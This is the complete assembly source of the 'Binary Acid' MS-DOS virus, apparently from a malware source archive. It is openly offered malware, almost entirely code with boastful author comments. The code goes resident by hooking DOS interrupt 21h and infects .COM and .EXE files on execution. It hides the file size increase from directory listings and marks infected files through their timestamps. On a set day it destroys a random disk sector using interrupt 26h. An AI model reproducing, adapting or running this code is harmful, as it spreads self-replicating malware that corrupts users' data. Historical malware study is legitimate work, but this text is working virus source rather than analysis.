MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.bin_acid.asm
2021-01-12 17:31:39 -06:00

358 lines
12 KiB
NASM

;Binary Acid Virus
;by Evil Avatar
;Another lame virus by me. Then again, not bad for my second virus!
;This is a resident .COM/.EXE/.OV? infector that infects on file runs.
;It does hide the size change AND avoids CHKDSK and its ilk.
;Plenty more from me to come. Stay tuned.
.model tiny ;if you are lost already, you
.code ;shouldn't be playing with viruses
org 0h
v_mem equ (v_end-Acid+15)/16+1
v_word equ (v_end-Acid)/2
id equ 0a0ffh
v_file equ (heap-Acid)
Acid: call next
next: pop bp
sub bp, offset next ;get delta offset
mov ax, id
sub bx, bx
int 21h ;residentcy install check
push es ;save PSP segment
cmp bx, id ;are we here already?
je check ;then exit
mov ax, 3521h
int 21h ;get int 21h vector
mov word ptr [bp+save_21], bx
mov word ptr [bp+save_21+2], es ;save int 21h vector
mov ax, ds ;ds=PSP segment
dec ax ;ax=MCB segment
mov es, ax ;es=MCB segment
cmp byte ptr es:[0], 'Z' ;is it last MCB in chain?
jne done ;no? exit
sub word ptr es:[3], v_mem ;allocate memory for virus
sub word ptr es:[12h], v_mem ;change TOM field in PSP
mov ax, es:[12h] ;find virus MCB segment
mov es, ax ;es=virus MCB segment
mov byte ptr es:[0], 'Z' ;mark as last in MCB chain
mov word ptr es:[1], 8 ;DOS now owns this
mov word ptr es:[3], v_mem-1 ;set the size of segment
inc ax ;ax=virus segment
mov es, ax ;es=virus segment
lea si, [bp+offset Acid] ;start of virus
sub di, di ;clear di
mov cx, v_word ;virus size in words
rep movsw ;copy virus to TOM
push es
pop ds ;put segment in ds
mov ax, 2521h
mov dx, offset int21
int 21h ;set new int 21h vector in virus
check: pop es ;restore es
mov ah, 2ah
int 21h ;get date
cmp al, 1 ;is it a monday?
je destroy ;chew a sector
return:
cmp sp, 0abcdh ;is this an .exe file?
jne done ;no? restore com stuff
push es
pop ds
mov ax, es ;ax=PSP segment
add ax, 10h ;adjust for PSP size
add word ptr cs:[bp+comsave+2], ax ;set up cs
add ax, word ptr cs:[bp+_ss_sp+2] ;set up ss
cli ;clear ints for stack manipulation
mov ss, ax ;set ss
mov sp, word ptr [bp+_ss_sp] ;set sp
sti ;restore ints
db 0eah ;jump to old program
comsave db 0cdh, 20h, 0, 0
destroy:
in al, 40h
xchg al, ah
in al, 40h ;get a random number
xchg ax, dx
mov cx, 1
mov ax, 2
int 26h ;and crunch that sector
jmp return ;return to program
done: push cs
pop ds ;ds=cs
push cs
pop es ;es=cs
mov di, 100h ;beginning of program
push di ;for later return
lea si, [bp+comsave] ;first 3 bytes of program
movsb
movsw ;restore first 3 bytes
ret ;return to program
int21: cmp ax, id ;is this an installation check?
je vcheck ;yes? tell 'em we're here
push bx
push cx
push si
push di
push es
push dx
push ds ;save regs
push ax
cmp ah, 4bh ;hmm..execute huh? well, they
je v_com ;did it to themselves
cmp ah, 11h ;dir check
je dirfix
cmp ah, 12h ;dir check
je dirfix
pop ax
pop ds
pop dx
intpop: pop es
pop di
pop si
pop cx
pop bx ;restore regs
jmp dword ptr cs:[save_21] ;jump to DOS int 21h
vcheck: xchg ax, bx ;put ID into bx
iret
dirfix: pushf
call dword ptr cs:save_21 ;simulate int 21h call
mov word ptr cs:[buffer], ax ;save return
push ax
push si
pushf ;save the new flags
mov si, sp
mov ax, [si] ;get new flags
mov [si+10], ax ;put them where old flags are
popf
pop si
pop ax
test al, al ;see if file is found
jnz nofile ;if none, exit
mov ah, 51h
int 21h ;get PSP segment
mov es, bx
cmp bx, es:[16h] ;is it DOS?
jne nofile ;no? avoid CHKDSK
mov ah, 2fh
int 21h ;get DTA in es:bx
cmp byte ptr ds:[bx], -1 ;is it extended FCB?
jne cont
add bx, 7 ;then add 7 to pointer
cont: mov cx, ds:[bx+17h] ;get time
and cx, 1fh ;get seconds
cmp cx, 1fh ;if not 62 secs then exit
jne nofile
sub ds:[bx+1dh], v_file
sbb word ptr ds:[bx+1fh], 0 ;subtract virus size
nofile: pop ax ;if you can read this
pop ds ;you don't need glasses
pop dx
pop es
pop di
pop si
pop cx
pop bx ;restore regs
mov ax, word ptr cs:[buffer] ;restore return type
iret
v_com: push ds
push dx
push cs
pop ds
mov ax, 3524h
int 21h ;get critical error handler
mov word ptr [save_24], bx
mov word ptr [save_24+2], es ;save it
mov ax, 2524h
mov dx, offset int24
int 21h ;set new critical error handler
pop dx
pop ds
push cs
pop es
mov ax, 4300h
int 21h ;get attributes of file
push cx ;save attributes
mov ax, 4301h
sub cx, cx
int 21h ;clear attributes
jc booster
mov ax, 3d02h
int 21h ;open file
xchg ax, bx ;put handle in bx
push cs
pop ds ;ds=cs for all references
jmp past_booster
booster: ;i hate having to use these
pop cx
pop ax
pop ds
pop dx
push ax
jmp bad_file
text db 'KW' ;you'll never guess
past_booster:
mov ah, 3fh
mov cx, 1ah
mov dx, offset buffer
int 21h ;read first 1ah bytes
mov ax, 5700h
int 21h ;get file time and date
mov word ptr [time], cx ;save time
mov word ptr [date], dx ;save date
and cx, 1fh ;get seconds
cmp cx, 1fh ;is it 62 secs?
je close ;already infected
cmp word ptr [buffer], 'ZM'
je v_exe
cmp word ptr [buffer], 'MZ'
je v_exe ;if .exe file then infect it
mov si, offset buffer
mov di, offset comsave
movsb
movsw ;move combytes to comsave
mov ax, 4202h
sub cx, cx
cwd
int 21h ;move pointer to EOF
sub ax, 3
mov byte ptr [buffer], 0e9h
mov word ptr [buffer+1], ax ;set up jump
write_virus:
mov ah, 40h
mov cx, v_file
cwd
int 21h ;write virus to EOF
mov ax, 4200h
sub cx, cx
int 21h ;go to beginning of file
mov ah, 40h
mov cx, 1ah ;restore buffer size
mov dx, offset buffer
int 21h ;write header or jump
sign: mov ax, 5701h
mov cx, word ptr [time] ;get time
or cx, 1fh ;set seconds to 62
mov dx, word ptr [date] ;get date
int 21h ;set file time and date
close: mov ah, 3eh
int 21h ;close file
pop cx ;get attributes
pop ax
pop ds
pop dx ;get file name
push ax
mov ax, 4301h
int 21h ;restore attributes
bad_file:
push ds
push dx
mov ax, 2524h
lds dx, dword ptr cs:[save_24]
int 21h ;restore old int 24h
pop dx
pop ds
pop ax
jmp intpop ;return to caller
v_exe: push bx
les ax, dword ptr [buffer+14h] ;get cs:ip in es:ax
mov word ptr [comsave], ax ;save ip
mov word ptr [comsave+2], es ;save cs
les ax, dword ptr [buffer+0eh] ;get ss:sp
mov word ptr [_ss_sp], es ;save sp
mov word ptr [_ss_sp+2], ax ;save ss
add word ptr [buffer+0ah], v_mem ;set new minimum memory requested
mov ax, word ptr [buffer+8] ;get header size
mov cl, 10h
mul cl ;change to bytes
push ax ;save it
mov ax, 4202h
sub cx, cx
cwd ;move file pointer to EOF
int 21h ;and get file size in dx:ax
pop cx ;restore header size
push dx
push ax ;save file size
sub ax, cx
sbb dx, 0 ;get new cs:ip
mov word ptr [buffer+16h], dx ;save cs
mov word ptr [buffer+14h], ax ;save ip
mov word ptr [buffer+0eh], dx ;save ss
mov word ptr [buffer+10h], 0abcdh ;save sp
pop ax
pop dx ;get file size
add ax, (v_end-Acid)
adc dx, 0 ;add virus size
mov cx, 200h
div cx ;convert to pages
push ax ;save it
or dx, dx ;is there a remainder?
je remainder ;yes? increment number of pages
inc ax
remainder:
mov word ptr [buffer+4], ax ;save number of pages
pop ax
and ah, 1
mov word ptr [buffer+2], ax ;file size MOD 512
pop bx
jmp write_virus
int24: mov al, 3 ;fail the call
iret
vname db '[Binary Acid]', 0 ;do you need this explained???
author db '(c) 1994 Evil Avatar', 0 ;this is me (duh!)
_ss_sp dd ? ;stack pointer
heap: ;variables
save_21 dd ? ;int 21h entry
save_24 dd ? ;int 24h entry
time dw ? ;file time
date dw ? ;file date
buffer db 1ah dup (?) ;buffer
v_end:
end Acid